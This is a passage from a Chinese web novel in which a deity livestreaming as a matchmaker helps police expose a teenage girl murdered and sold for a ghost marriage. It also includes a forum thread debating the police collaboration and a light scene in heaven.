“红线小人说,她脖子和手腕有刀痕,九成概率是非正常死亡——男方是溺死。” “还有,月仙大人,它在棺材里发现了这个……” 蝶仙带着手套的手,拎着一个老旧的软塑胶式胶圈。 胶圈的下方,缀着…… 一个手机。 蝶仙轻轻按了一下手机侧边的按键,它还有电,屏幕一下子亮起。 而亮起锁屏的弹窗中,正显示着这几天来,莺芝给那位神秘发信人发送的消息缩略概要。 【[特别关注]AA红线小莺:是需要……】 【[特别关注]AA红线小莺:或需要……】 …… 【[特别关注]AA红线小莺:你还好吗?】 盯着屏幕的盏仙双瞳睁大,被这一连串的东西砸晕了。 “这……”手机也在棺材里,难道真的是这个女孩亲自发的消息? 莺芝则是按了按额角,轻轻叹了口气。 “去报警吧。”她道。 “就说发现了不明女尸——不用有什么隐瞒,把我们从收到消息到现在,所有的情况都仔细告知本地警方,也把你为什么会到那里去,为什么会做出雇人掘坟这种事,好好和他们解释一下,然后态度端正地认个错。” “好的。”蝶仙恭敬应下,并不觉得莺芝让她去道歉认错有什么不对。 “顺便,你也可以旁敲侧击地为他们提供一个思路。”莺芝又道,“让他们去查一下那天来埋棺的队伍、其中的所有人——或许,在一对一单独询问的时候,有人会认识这个手机。” 蝶仙有些疑惑,显然有点不太明白,但还是认真应下:“好的。” “对了,”在她要收起手机的时候,莺芝又一次出声,“避开人,再给我拍一下她,让我看看她本人,以及那名男性。” 蝶仙:“好的。” 随后,莺芝便见镜头一闪,又转向了棺材内的情景。 一男一女并排躺着,均已失去一切生命气息。 男尸仪容仪表已不成样子,隐隐生了虫,符合溺死多日的信息。 女尸则干净许多,像是新去世没多久的,看起来年纪也尚小,和照片上的样子没什么区别。 只不过比起照片,她现在的脖子上有一道被清洗干净、不细看不大能看清楚的伤口,掩盖在红色的半透纱布下。 一眼扫过,确认了大致的情况,莺芝微微凝神,催起灵力细看。 男,焦合孝,二十九岁,横死, 女,毛小冉,十七岁,横死。 俱……没有姻缘。 做好最终确认,莺芝闭了闭眼,声音轻轻: “好了,我看过了——依照先前我们说好的去做就是了。” 蝶仙应声把镜头转走:“那我去报警。” “嗯。”莺芝道。 电话很快挂断,莺芝放下手机,吸了一口庙中充沛的香火气息,回缓思绪。 盏仙在一边思考纠结许久,最终还是一咬牙,凑上前来: “……小莺姐姐,您为什么就让小蝶去报警了,后边我们不再管了吗?您知道这是怎么回事了吗?到底是谁给我么发的求助信息?手机为什么会在棺材里?他们……呃,我问题是不是……太多了?” 莺芝没有被这一连串的问题给问到,短暂的怔愣后,她微微摇头,语气温和: “不懂就问,这很好。” 随后,她略一沉吟,斟酌了一下措辞,便继续道: “让小蝶去报警,是因为我们身在凡间。凡间的一切不公事不平事,一切冤屈和纠纷,最终都要经由凡间 的司法机构来裁定,我们可以参与其中,作为引线或推手,却无权插手审判。所以点到即止,我们参与到这里就可以了。” “不公事?冤屈?”盏仙微愣。 “是的。”莺芝道,“这就是你的第二个问题了——到底是怎么回事。” “给我们发消息的人,或许是想告诉我们,那个女孩身有冤屈——她和那位同穴的男性一样,都是横死,但据现有痕迹来看,男性是溺死,她却是颈部被割开……或流血而死,或划到了致命处。所以很大概率,她是被害的。” “至于为什么手机会在棺材里,谁给我们发的信息……” 莺芝语速缓缓,不急不慢地分析:“对方既能够得到女孩的照片,又能够在下葬的当晚把手机留在棺中,想来当时一定是在现场的。至于为什么不去报警、也不与我们直说,而是选择拐弯抹角,装神弄鬼……” 她顿了顿,嗓音一如既往地温和:“或许是因为对方也正在被裹挟其中,又或者是还在犹豫踌躇……不知道要不要把这件事捅出来的人吧。” “但对于我们来说,发现异常,将异常上报,便已经足够了。” “原来是这样……”盏仙恍然,回味着莺芝的解释,隐隐有所明悟。 但半晌后,她还是有些困惑。 “所以说,即便我们已经下来了,也不需要把每一件事都弄得很透彻?” “是的。” 莺芝微笑道:“凡间事众,有看到的、知道的,可以去帮一帮——但要知道的是,不是每一桩每一件,我们都能帮得上的。即便是我们,也并非全知全能,所以不要为此有负担。在力所能及的范畴内,尽力即可。” “实在不行,”她眨眨眼,“去上边找本身应该负责这件事的部门来管,或者给负责监察的殿递封投诉信。” 还,还可以这样……? 盏仙嘴巴渐渐张大。 莺芝莞尔,不再言语。 哎,还好招了两个临时工。不然现在在案发城市的还是她自己,到时候又是配合笔录什么的,直播又得延迟。 如今员工去跑现场,她只需要出出脑子就可以了。万一再遇到个什么事,她也可以把盏仙支使过去,不愁一个人掰不成两半。 果然,手里有员工就是方便。 还是得多多提升业绩,多多招员工,这样才能滚雪球,越滚越大—— 继续工作! …… “事情的原委大概就是这样了。” 两天后,蝶仙打来视频电话里,身穿制服的帽子小姐姐一本正经地和莺芝对视着。 “更具体的细节不能再透露,但我方希望可以基于此案和你们进行一次合作。” “好的。” “这件……啊” 对方话音一顿,正经的表情中透着一丝错愕,“这就……你不用再考虑一下?” 莺芝坦然点头:“不用。” “……”对方默然片刻,小声嘀咕,“我还没说合作什么呢,报酬条件你也不知道啊……” “不用报酬。”莺芝微笑道,“我接受贵方的合作邀请,为大家普及正确的婚姻观念,扭转错误的思想。” “……你猜到了啊。” “我是一位婚姻行业的工作者,这本就是我应该做的,是分内之事,不需要任何报酬。” 帽子小姐姐有点动容:“不错,觉悟很高!哦对了,不要报酬的话,那我们假期也不用去上香了?” 莺芝:“……” “如果你们愿意的话……这个还是可以的。” 第88章 联动 春节假期正式来临的时候,红线小莺的个人账号发布了一条动态。 【@AA红线小莺_V:直播间将于xx月xx日(两天后)的直播中进行惊喜联动,欢迎大家前来观看。】 这动态发布之后,评论区很快就吸引了许多经常关注着定缘直播间的观众和粉丝们来此讨论。 莺芝的这个账号平时很少出现冒泡,连VIP都是粉丝们给充的,为了方便观察她什么时候上线。 至于说公开发表什么东西,那就更少见了,总共也没出现过几次。 这次她难得出来,还是为直播做预告,许多粉丝都很给面,捧场地在询问起“联动”的详情,对此报以了极大的热情。 而在观众们看来,AA红线小莺这次也一改了往日除了直播算卦以外万事不管的“高冷”,一连翻了好几个粉丝的牌子进行互动。 这让粉丝们稀奇得很,也对那个所谓的“联动”生出了不少的期待。 这些互动什么的,当然不是莺芝在做—— 盏仙现在对于管理账号以及评论区已经相当得心应手了,除了直播和学着处理姻缘殿相关事务之外,她每天的时间基本都扑到了网络上。 用红线小人的话说,她这是在学习账号的“运营”。 和粉丝们互动,就其中很重要的一环。 莺芝对员工们的自主尝试和思考无比支持,反正账号交给对方了,放心去做就行。 而这带来的正收益就是,红线小莺的账号开始变得“活”了起来,在各项排行榜的排名都开始嗖嗖往上升。 年二十九,粉丝观众们的期待中,预告了两天的直播正式到来。 这一天,许多粉丝早早就守在了软件中,就等最后的时间过完,直播启动。 莺芝端着手机,在最后的这一段时间里处理着各类消息。 【小蝶:小莺姐姐,明天一早我便和小线回去了,现在在中转城市!】 【AA红线小莺:1】 【帽子小姐姐:我们准备好了,需要时直接邀请】 【AA红线小莺:好的。】 【桐:都要过年啦,小莺你能不能回来呀,我们一起聚聚嘛~我哥现在还在被罚,不然我们就下去找你玩了】 【AA红线小莺:还不确定有没有空……】 多给文桐贴了个“可怜”的表情包,莺芝整理了一下衣服,把私下用的手机放到一边,看向盏仙。 盏仙会意,回了个眼神,点击开启直播。 倒计时滚动至最后—— 熟悉的直播提醒对话框弹出,早就被勾起好奇的观众们几乎是立刻就涌入了直播间。 【来了来了!】 【饭碗已经准备好了,就等下饭菜了】 【联动是什么,斯哈斯哈,等惊喜!】 【话不多说,先舔小莺,今天好漂亮啊女神】 【今天我沐浴焚香了,一定能抽到我】 【等联动+1】 …… “大家晚上好,我是小莺。” 莺芝略过弹幕,微笑着和观众们打招呼。 “话不多说,想必大家都很关心今天有什么特殊的安排——是的,有的。在今天的观缘环节结束后,会有额外一个小环节,敬请期待。” “那么我们也不浪费时间了,先开始我们今天的三次观缘吧。接下来,我将开放第一个连线名额,请有意向的朋友们做好准备。” 【还要等啊!啊啊啊女人,你成功勾起了我的好奇心】 【我嘞个抓心挠肝啊……】 【小莺你学坏了,什么时候也开始这些卖关子的手段了TvT】 【什么你们都在等惊喜环节吗那算卦的名额我就却之不恭了】 …… 【不是说你们都不抢的吗!!怎么我又没抢到!】 …… 你一言我一语的热闹中,直播环节有条不紊地推进着。 抢到连线机会的幸运者很快上麦,随着对方和莺芝的互动推进,观众们的注意力也渐渐转移,挪到了今天新鲜的三组八卦上。 第一位连麦的是一位回老家过年被安排相亲的女白领,她带来了三位相亲对象的资料,让莺芝帮忙算算,哪个和她是正缘。 在观众的撺掇下,莺芝还没说答案,她就已经把三位对象的大致资料和相亲情况都跟观众们说了,观众们七嘴八舌地帮她分析了起来,直播间里好生热闹。 第二位抢到机会的是 个同样过年回家被催婚的男白领,他让莺芝给他算算,他什么时候才能遇到他的正缘。 这个太过平平无奇,没能让观众们兴起什么加入讨论的兴致,很普通就揭过去了。 第三位加入连线的,是一对女孩,诉求是让莺芝帮忙算算两人的感情。 满屏的问号和质疑中,莺芝给出了“是正缘”的答案,又惊掉一堆下巴,两人高高兴兴手拉手下麦了。 三卦结束,观众们还意犹未尽地讨论着刚刚那一对,难以接受且厌恶的派系和接受祝福的派系最为突出,在弹幕吵了个天翻地覆。 不过这一切喧闹,在莺芝介入、并宣布新的环节开始时,被迫中止了。 部分心有不忿的观众们转移场地,继续对仗,大部分观众则是再次转移注意力,开始关心起莺芝口中的新环节。 【终于来了,我倒要看看是什么钓了我这么久】 【我投新的线下活动一票】 【众所周知正月十五元宵节看灯会也很适合相亲】 【说得有道理我同意小莺你觉得呢】 …… 【……等等??我看到了什么??】 【啊?啊?!啊??】 【来人,本宫是不是眼花了,不然为什么在小莺的直播间里看到了jc……】 【小莺你犯事儿了?】 …… 所有的闲话和胡扯,在直播间的另一半边屏幕里出现了新的身影时戛然而止,随后,又奔向了新的高潮。 直播间屏幕熟悉的一分为二,左边是穿着红色古风长裙的莺芝,右边,则是深色制服,穿戴板正端庄齐整的女警。 “如大家所见,这就是本次直播的‘联动’惊喜——x县警方,将加入我们本次的直播。” 莺芝一如往常地笑着,说出的话却让粉丝和观众们一阵沉默。 连成一片的“……”过去后,观众人都懵了。 【你跟jc联动什么啊!!离大谱了】 【所以为啥是jc……】 【奶奶问我为什么在看jc直播是不是在看审犯人】 …… 重重质疑中,莺芝面不改色地一点头: “是的,大家没有看错,我也没有犯事儿,这是本次的直播顾问。” “关于为什么x城警方会参与这次直播,我需要先和大家讲个故事。” “关于我在差不多一周前,收到的一条私信。” 凡是莺芝直播间的常客,几乎没有不知道莺芝这里所谓的“故事”会是什么风格的。 而能被她特别点出来说的—— 除了瓜,就是大瓜。 所以此言一出,懂点行道的基本都已经明白过来,就算不太清楚,也能猜个大概——能被警方特别关注的大瓜啊…… 弹幕风向立刻就变了。 乱七八糟的猜测一一飘过,莺芝也不确认,也不否认,微微一笑,开始了自己的讲述。 “大家都知道,现如今我们的社会,男女双方在结婚前,基本都要进行婚检——这是很正确的行为。可以确保夫妻双方的身体健康,也是对彼此、对未来后来负责人的表现。而在备孕前、怀孕期间,父母双方也同样要做好检查。 我们今天故事的主人公,就来自于一个未有进行婚前检验、孕前检验、孕期检验的家庭。” 莺芝讲话时,那位来自x城公安的女警便一直坐在工位上,低头书写整理着什么。 “女孩小兰出生于一个并不太富裕的家庭,因为家庭条件所致,她的父母没有遵照规则进行检查,在小兰出生将近一周岁的时候,父母才发现她患有严重的缺陷——她有先天缺陷,导致了智力缺失。” “这使得小兰年过七岁,还不会像正常孩子一样独立吃饭、行走,甚至不会正常说话。 她无法像同龄人一样上学,只能待在家里,继续由父母照顾吃穿生活。” “小兰十七岁时,有媒人上门,给小兰的父母带来了喜讯——有个‘好媒头’,对方不嫌弃小兰身体问题,愿意照顾小兰一辈子。” 【我k真的假的啊,假的吧?】 【这孩子生了干嘛啊,孩子也不愿意被这么生出来吧,真的得好好做检查!】 【不儿……这种孩子结婚?父母都嫌弃,别人真的会愿意照顾吗?】 【要是说身体残缺智力还好的话,自谈一个对象,不嫌弃她身体情况我还信……这种,好怪】 【不确定,再看看】 …… “小兰父母口头应下后,媒人带着男方上门了。男人年纪有三十多了,是外地人,单身,未婚。虽然他家庭条件不是特别好,但是在短暂的半个小时交流中,小兰父母却对他很满意。” “因为他并不嫌弃呆呆傻傻的小兰。并且承诺,会照顾她。” “小兰父母一盘算,自家女儿虽然智力有缺陷,但是长得漂亮,身体也还不错,并不影响传宗接代。父母照顾不了她一辈子,现在有人愿意照顾她,自然是好的。” “于是,在双方认识的第三天,举行了简单的仪式后,小兰父母收下了男方送来的两千元彩礼,并把小兰送出了家门。” 【……?】 【怀疑我在听魔幻故事,半个小时?三天??】 【#智力有缺陷##不影响传宗接代#】 【2k,这是甩卖包袱啊】 …… “结婚后,男方发现,小兰的情况极其严重,并不如他一开始预想的那样,只是痴呆——小兰完全听不懂话,不仅如此,她还会在家里乱拉乱尿,吃饭也全都需要人喂,和婴儿别无二致。” “他想要为小兰治病,于是带着小兰去医院做了检查,结果并不如人意,失望之下,他选择把小兰退了回去。” “可是小兰是外嫁,男人并不想再为了她跑去对方家里,便把她交给了媒人。” “小兰精神状况太差,无法再次长途行车,媒人只能自行去她家中,让父母将她接回。可是父母只认女婿,不认媒人,无奈,媒人只能返回。” “彩礼无法讨回,做媒的钱却得退给男人,再加上来回路费,媒人一合计,一来二去的,自己竟然还赔本了。 没有办法,媒人便想再为小兰寻找一户人家。” 【……】 【槽多无口】 【难怪是小莺来讲,可不就孽缘么,桩桩孽缘】 【蚌埠住了】 第89章 二嫁 【后来呢?】 【媒人又盯上什么样的人家了?】 【估计下家也不是什么好东西,大家可别忘了,这里不止有小莺,还有警方的人在那等着呢】 【这媒人不会把小兰卖了吧?贩卖人口?】 【有一说一,虽然话不太好听,但是小兰这样的,就算什么穷乡僻壤的想要买媳妇,也不太会要她吧……】 【快快快,小莺快讲,后来怎么了?】 …… 观众们都不是什么笨蛋,常年混在网上,见得多了,思路也活泛。 莺芝这引子刚一放下,许多人就把后续给大致猜中了几分。 莺芝也没卖关子吊胃口,语速缓缓地继续讲述着: “媒人想的很周全,但是现实给了他沉重一击。” “小兰的情况太差了,凡是他找上的人家,即便一开始有所意动,在见到小兰后也全都放弃了想法——没有人愿意娶一个连大小便都无法自主管 控的媳妇,哪怕她长得漂亮,身体健康,完全负担的起‘传宗接代’的责任。” 【话是这么说……但真的听到这么形容,还是觉得很心凉啊……】 【事情发展到现在,到底该心疼谁?哎。】 【女性在他们眼里就是个传宗接代的容器,没有自我的需要。但就算这样,他们也不愿意接受一个真的没有自我的容器,他们需要你既有自我,又不能自我】 【好悲哀的现实。】 …… “媒人没有办法把小兰‘推销’出去,就只能放任小兰在自己手里,他需要承担小兰的吃住,负责照顾小兰—— 他也有家庭,有妻女。 这种日子一日两日便罢了,三五七日往上,他的妻子便也再忍受不了照顾小兰,要求他必须将小兰送走,或送给她的父母,或把她送去给别人照顾。” “无奈之下,媒人只能更加努力地联络人家,试图为小兰找到一个合适的下家。” 莺芝语调平缓,嗓音温温,却听得不少观众们发自内心生出一股凉意。 打大部分的人在听故事时,都会不由自主地代入。 或者代入小兰,或者代入媒人,更或者是代入媒人的妻女。 根据所代入对象的不同,所感所想自然也不相同。 但是,几乎是每一个人,都深刻体会到了在那种境遇中的“难”。 该怎么破局,才能皆大欢喜—— 把小兰带去给父母?先不说小兰的身体状况,单说父母,他们估计也不会希望这样做。 那把小兰快速“推销”出去,不管对方家庭的情况?这对小兰太不公平了。 至于把小兰留下,慢慢寻找……对于媒人的妻女来说,这不也是平白多出来的无妄之灾吗?换成自己,会喜欢让家里生生多出来一个大麻烦吗? 谁也找不出最优解。 但是,每个人心中也都有一个倾向,代表着自己若是到了这种时候,会做出什么选择。 可能不道德,可能会让某一方难过,但是遵循着自己的底线。 “媒人又找了几天,始终没有找到愿意接受小兰的人家。” “就在他思考着要不管不顾,哪怕赔钱、也把小兰送回去再说的时候,转折来临了。” 说到这里时,莺芝微微垂下了眼睫,没有露出什么情绪,语气依旧平和: “先前愿意娶小兰、但是又把小兰退回来的那一户人家,传来了变故。” “他们家的那位,小兰的‘前夫’,发生了意外,失足溺死了。” 【……喂】 【淹死了?】 【不会吧,不会吧,他们不会把人淹死的错归到小兰身上吧?】 …… 观众们各有各的想法,随着故事的推进心情也七上八下的。 “媒人听说了这个消息,便登门拜访,探望这位朋友的父母。” 莺芝继续讲述着: “这位曾经娶了小兰的男士,是家中独子,家中有老一辈的双亲,都还健在。” “白发人送黑发人,场面自然十分悲伤。” “但媒人到了之后才知道,对于这对父母来说,最痛苦的不是儿子的早逝,而是儿子死后却不能入祖坟—— 在当地,有一个不成文的规定,未成家儿女,不被允许入祖坟,这意味着不详。” “老两口悲痛欲绝,求媒人帮自己儿子牵牵线,他们愿意出高额彩礼,为儿子迎娶一位‘妻’,让他好有处下葬。” “媒人闻言,便试探着提出,让老两口继续之前未成的婚姻,把小兰娶回来——只要小兰和男人的牌位拜堂成亲,那男人不就是已婚了吗,可以下葬了。” 【…………】 【什么鬼,这是什么出生行为啊!】 【让一个活生生的小姑娘嫁给一具尸体?】 【那不就是,老两口不仅没了能照顾自己的儿子,以后还得替儿子照顾老婆,照顾小兰……让人家好好过个晚年吧】 【因为单身不能进祖坟,所以死了之后再娶老婆。这是啥,走程序的漏洞?搁这儿卡bug呢?】 …… 观众只觉得三观都被重刷了一波,但莺芝的故事却还远没有讲完。 “这个提议被老两口拒绝了。” “他们很清楚自己的状况,也很清楚小兰是什么样子的,所以,他们对媒人说‘你做媒人的,涉不涉及鬼媒啊?’——所谓鬼媒,就是专做给死人拉媒的媒人。 当地民风所致,未婚儿女不得入坟,所以素有给死人配阴婚的习俗,鬼媒十分盛行。有不少新死的未婚女儿,都被父母允给了新死的未婚男人,结成阴婚后共同下葬。” 说起鬼媒时,莺芝已经重新抬起了眼,她的脸上划过一抹明显的厌恶,但并没有在这个时候多发散什么,而是让故事继续进行着: “听了老两口的话,媒人惊惧,他们这意思——不就是让他去买尸体?” “媒人陷入了纠结。” “这份钱他想赚,就算是跟尸体打交道,他也想赚,因为不久前才在小兰的事情上赔过一笔……对了,小兰。” “看着老两口哀痛伤心,媒人心中的阴霾却忽然都被驱散,他有了一个计划。” “——活的你们不要,那让她是个尸体不就好了?” 【?!!?!】 【…………我x!!畜生啊!】 【别吧,他真干了??】 …… “于是,和老两口说好,会交给他们一具尸体后,接了‘彩礼钱’和‘媒人钱’,媒人回到了自己家。” “他和妻子说了小兰即将被下一家娶走,并大致讲述了配阴婚的事,妻子虽有忧虑,但精神已经被小兰折磨得疲惫不堪,纠结之下,还是同意了这个做法。” “夫妻二人去买了足量的药,混着农药一起,加入了小兰的食物和水中—— 距离药效发作的时间已经过去了许久,小兰却始终还有着一口气。” “眼看再不上车出发就要迟了约定好的时间,媒人一不做二不休,直接割开了生死边缘的小兰的脖子。” “小兰就这样死去了。” 莺芝看着弹幕轰然炸开,像沸水一样,一个接一个的气泡涌上水面,又爆破。 她轻轻叹了口气。 “他们给小兰换上了嫁衣,装上车,带她去嫁人——嫁给那个她曾嫁过一次的男人。” “她在未成人的年纪,嫁了两次人,对象是同一个。” “两次的婚姻,都没有经过正式的法律见证,没有登记造册。” “可是,就是为了这样的婚姻,因为要这样嫁人,她失去了她的生命,在十七岁的年纪,被埋入了暗不见光的地底,和一个从任何意义上来说,都是陌生人的男人。” “这就是我要讲的故事。” 【我擦,我拳头都硬了,什么东西啊啊啊?!】 【为什么会有阴婚这种东西在啊,这不是落后和愚昧吗】 【配阴婚,用尸体也就算了,竟然为了配阴婚杀人,这种东西还有存在的必要吗?】 【媒人也就离谱哈,为了赚钱良心都不要了】 …… 【两次都嫁给同一个人……生前,死后,被卖了两遭,小兰和这个人是绑定了吗,注定要被卖给他】 【小兰真的好可怜,从出生到嫁人,她都不能自主选择……她又是为了什么,才要往世上走这一遭的呢?为了受苦吗?】 【家人们,婚检孕检的必要性!!】 …… 【这是真事儿吗?还是只是个故事啊?】 【小莺都说出来了,警察都在了……应该是真事儿吧】 【我知道了,x省x县,他们的警察都在了,肯定是他们那儿】 …… 弹幕滚动的速度远超平常,观众们情绪激烈,群情激奋。 “之所以我能够知道这件事,是因为我在某天,收到了一条消息,一条以小兰视角出发,向我求救的消息。” “消息的发出消息是小兰二次出嫁的当天,所以,我才关注到了这件事。” 据蝶仙和警方的消息,“装神弄鬼”的是那位媒人的女儿。 在和小兰同住的日子里,她受够了这位几乎算不上人的人,但是,在父母打骂对方的时候,她又难免生出同情。 她比谁都想让小兰快点离开,却不想是这种方式。 终于,愁眉苦脸多日的爸爸喜笑颜开地说着可以“把货出手”了,回到了家里。 她听到了父母的商讨,意识到了即将到来的悲剧,意识到了错误即将发生,但是,却无法阻拦父母,无法对小兰施以援手,也想不出更好的解决方案。 她只能想办法求助他人,希望有人能在那位可怜姑娘去世后,将她救出牢笼。 所以,她想到了之前同学们提到过的网络主播——那个月老,那个真正的媒人。 于是,她下载了从来没玩过、只听同学们提到过的软件,找 上了莺芝。 虽然她有想过,最坏的结果是她的父母被她送进牢狱,但是她宁可这样,也不远日日接受良心的谴责,在梦里重见小兰无神的面孔。 “很庆幸,我看到了这几条消息,没有让小兰的受难被湮灭在时光里。” 声讨杀人凶手,声讨不负责任父母,声讨落后愚昧思想,感慨勇敢女孩的文字弹幕里,莺芝有些欣慰,却也叹息地开口。 “不过,我想说的是——在小兰这一生的缘线中,她即便已经结了两次婚,但她却并没有拥有过任何的姻缘,缘线干干净净。” 【十级莺语学家来翻译一下,小莺的意思是:当地人忌讳‘未婚孩子入祖坟’,所以要给配阴婚,但其实就算配了,也不被老天承认,他们的孩子依旧是单身,还是不吉利。】 【妈呀,这不就是损人不利己?】 【(思想)落后也要挨打!!】 【醒醒吧这些蠢货!】 【可怜的小兰,可恨的父母,可恨的砂仁犯】 …… “所以——” 莺芝语调压低,微有沉凝道:“配阴婚,是一种落后的,不正确的婚姻观念,希望大家都能够正视起来,树立正确的观念,也帮助身边的人尽量改正这等错误。” “同时,希望更多的人能够更加重视体检的重要性,为自己负责,为他人负责。” 【明白!】 【小莺放心,我会去跟身边人说的~】 【摒弃糟粕思想!人人有责啊!!】 …… “由此——” 莺芝点头,看向屏幕另一边,不知道什么时候起已经抬起头的警察小姐姐。 “特别需要说明的是,刚才的讲述中,小兰等均为化名。” “接下来的时间交给x县警方代表,我们本次直播的嘉宾,也是小兰事件的经手者——让她来为大家讲解,此案中,相关涉事人员所犯的条律。” “请。” 第90章 新春 [李涛,官方部门选择和娱乐向网络主播合作,是官方的退步还是受了社会的大势胁迫。] [1L(楼主):RT。最近观网络热门事件有感,所以想来跟大家讨论一下。 一些特殊部门因为一些小原因,出面和网络主播合作,现身网红的直播间,这种“亲民”,是一种下沉,还是一种被社会现状裹挟,不得不妥协的低俗化?] [2L(楼主):话说在前,理性讨论,不站立场,无褒贬,纯路人发起话题。] [3L:笑死,含含糊糊说谁啊,不就是想说小莺和警方合作的事儿么,还纯路人不褒贬,你的贬低谁还看不出来吗,不如直接点名呢?发出来十几分钟没人理你所以自己挽尊了? 不过既然你装模作样地发问了,我也不介意诚心诚意地跟你讨论一下,这楼字太多,楼下慢慢跟你说。] [4L:接上。秉着丑话说在前的原则,我就先说说这种合作带来的坏处吧。 1.官方下场,让广大老百姓们对特殊部门的敬畏感少了很多,遇到什么坏事也不像以前那样不敢上门打扰,而是动辄就要找他们去讨公道,给不公平事件少了发挥的地方,太不好了; 2.官方和“民间人物”合作,借助民间红人的流量扩大案件的影响力,让更多的人认识到藏在不良民俗之下的黑暗,使得愚昧和落后的生存空间被迫减少,太不好了; 3.(这里省略如上56789条) 4.她凭什么可以和官方合作,平白抬咖,都已经又传出来好几家官方部门想要跟她合作的意向了,这不是显得我家主子好呆?太不好了! 好了,坏处说完了,说说好处。 ——此处建议退回去重看上边的内容。 综上,官方怎么可以和(除了我家以外的)网络主播合作呢?当然不可以!] […… [22L:来晚了,LZ你好小丑啊……现在谁还不知道那个红娘主播是个有真东西的?你搁这儿引战,真的招笑啊。] [36L:昨晚上这个话题就爆了,到处都是讨论这个的,我也很震惊小莺竟然能跟jc搭上线……但是我想破头都想不到,竟然还能找到这么个角度来讨论……这事儿还有的黑? 小莺收到消息不辞辛苦不嫌麻烦地去探寻真相,和警方一起为了个完全没有自主能力的人讨回了公道,没让她的死被掩盖住,这是大善啊,黑啥?] [62L:在讨论的是那个红线小莺吗?是的话,真正的纯路人看到贴子,想站出来说句公道话。 以前我对这个主播无感,因为完全不知道她是怎么火起来的,感觉就是突然之间,满世界就都是她的影子了,到处都在聊她,打开每个软件都是她。 从爱豆塌房到明星翻车,好像什么事里她都能掺一腿——我有点热度恐惧症,见到什么大热门大流行的,不管原因,本能地就有点排斥,所以特地控制着没去了解她相关的事,远远避着,见到多了还有点烦,算是路黑吧。 直到前阵子那个山村拐卖事件出来,我对她的印象才有点改观,就那个女大学生被拴着铁链囚禁的事。 当时它在热搜上挂了那么久,虽然又有她的名字在,我不太想去看,但是拐卖人口这种关系到人权的事,还是盖过了我的不情愿,我点进去看了。 这一看,我才发现她在里头起了这么重要的作用。 为了线下一面里一次虚无缥缈的卦象,就肯去粉丝家里实地探查情况,还让自己也陷入了危险,以身入局……这是善良,仁义,可是又有点愚蠢,英雄主义情结——这是一开始我还抱着挑刺态度时候的心情; 之后,我又刷到了那个女大学生的自述,高烧又浑身是伤的她,最终安然无恙地被救出来了,全都是归功于这位主播——在这里,有些朋友可能要说,这听起来似乎也不是很难,但是朋友,代入一下当时那种情况呢? 满村的敌人,受伤昏迷急需得到救助的队友,那个主播一个人,还带着个累赘,最后一起得救了——这是随便谁都能做到的事吗?换你你行吗? 所以我给她的标签又多了两个,英勇,有勇有谋。 到了这儿,我开始没那么烦她、主动避着她所有的事了。 再然后,就是这一次。 说点不太好听的,就那个智力有缺陷,被卖了两次 的女生,她原本就是那种死了都没人会管的人群,能被卖两次,让两拨人收益,很可能就是她这一辈子最大的价值了,世界上这样的人多了去了,一旦真相被埋住,又有谁会在意她呢? 但就是这么一个连自己爹妈都不疼都不要的人,那个主播一察觉到不对劲,就义无反顾地去查了,还动用了自己的钱权能力,宁可得罪人犯忌讳,挖坟也要查——最后也成功把那条已经被埋进土里,无人问津的命给掘了出来,让所有人都知道了,这个小新娘有多么委屈。 了解完这位主播全部的事情,我就彻底懂了她为什么会火。 专业素质过硬,品性德行绝佳,外在条件添花,不火才是怪事。 至于警方下场跟她合作,那不是必然的吗?她曝光出来多少恶事了?某种意义上来说,她就是正义使者本身啊。 只不过这一次是官方给她盖了个戳,认可了她,让她在一众网络主播里成功往上抬了一台阶,本质上高出其他同行了个层次;官方也借她的热度把事件影响扩大,给更多人上了一堂法治课——对谁都是好事啊。 所以,以我这个纯路人的立场来看,这次合作,是双赢。 而且以现在社会这个明星打个喷嚏都能在热度上盖过杀人案的风气,还得是官方占的便宜多一点。不是吗?] [70L:支持22L的观点,投双赢一票。] [72L:妈呀22L家人把我们小莺的优点概括得好全面,是的,我们小莺就是专业顶呱呱,德行顶呱呱,声音和脸蛋也顶呱呱的正义使者(划掉)月老! 是的,我们是月老啊喂!] [88L:十年小莺粉闻着味儿来了,先对lz表态:滚,傻叼! 然后对合作表态:小莺,厉害!警方,有眼光! 好了,退朝。] [96L:上边有几位说得很好,来晚了我就不多说了,只说一句,从自媒体er的角度来说,这次的跨层次联动只是一个开始,之后还会有更多,小莺这个主播,如果不作妖不翻车,绝对会成为同行里断层级别的一位。] [101L:楼主呢,怎么不说话了?是被真路人们以及各路真正理性讨论的朋友们给吓得面具掉了吗?] [128L:好了大家,别吵了,大过年的,来蹲我们小莺的直播吧~[链接] 小莺答应了我们,今天虽然是年三十,但照常直播,陪大家一起看春晚,三卦穿插在春晚的间隙,家人们快来啊,还有半个小时就开播了,一块看直播过年!!] […… 天庭,某处私仙宅院。 清幽雅致的院落中,一方圆桌坐落在装有灵泉池水的小潭边,桌面上正摆放着一口石锅,锅中温有各色的蔬果吃食。 文桐坐在桌边,捧着半杯仙果茶,摇头啧啧: “这些人真是闲的没事儿干了,下边的衙门和小莺搭上线了——这不都是人家两边的事儿么,轮得到别人在这里点评吗?而且真要究起来,谁沾谁的光还说不定呢。” 桌子另一边的文隽夹起半片蔬菜入口,没理会抱怨瞥了她一眼:“你还吃不吃了,不吃就撤下去吧。” “——谁说我不吃了,不许撤!马上小莺就要直播了,就直播用啊。”文桐呸呸他两声,又“我看群里他们说,凡间的这个晚会越来越没意思了,还好有小莺来陪着看……有点好奇哎,我从来没关注过这些,你看过没?” 文隽垂下眼,认真吃东西。 “你怎么又不说话——”文桐狐疑,“不就是三邀四请一直没能把人约到,哪怕是今天也没回来么,你至于啊?没一点出息。” “……”文隽呼吸了几轮,似乎是忍了忍。 但最终应该是没忍住,他搁下碗筷: “你十句话里八句都是小莺,不知情的人还以为你是被设定为围绕她运转的工具人。” 文桐“嘁”了一声:“冲我发火有什么用啊,有本事你去跟人家搭上话呗,要说也是个堂堂神官,怎么到这种时候就一筹莫展了,无能无用!而且你当我是为了谁啊?” 文隽面无表情:“啊,是呢,为了谁呢。” 文桐:“……” 文桐:“……哎呀,好了好了,我知道了,你别这样嘛!” 她退出帖子链接,依依不舍放下和群友们热聊中的手机,转而去取自己的乾坤袋。 片刻后,她从里头摸出一片小小的叶子,十分爱惜地抚摸了两下叶片的纹路,才肉痛地把它递给文隽。 “——给,借你用了!” 见文隽似乎有所怀疑,不打算接,文桐嘿道: “这是我之前机缘巧合下得来的橘叶,使用后能让运气得到实质的提升,用过就没了,要不是看你老树开花但实在窝囊,没我帮忙估计得八十年以后才能有点实质性的进展了——你以为我舍得给你啊?” 文隽:“……” 他若有所思:“杏仙那里的吉运橘树?” 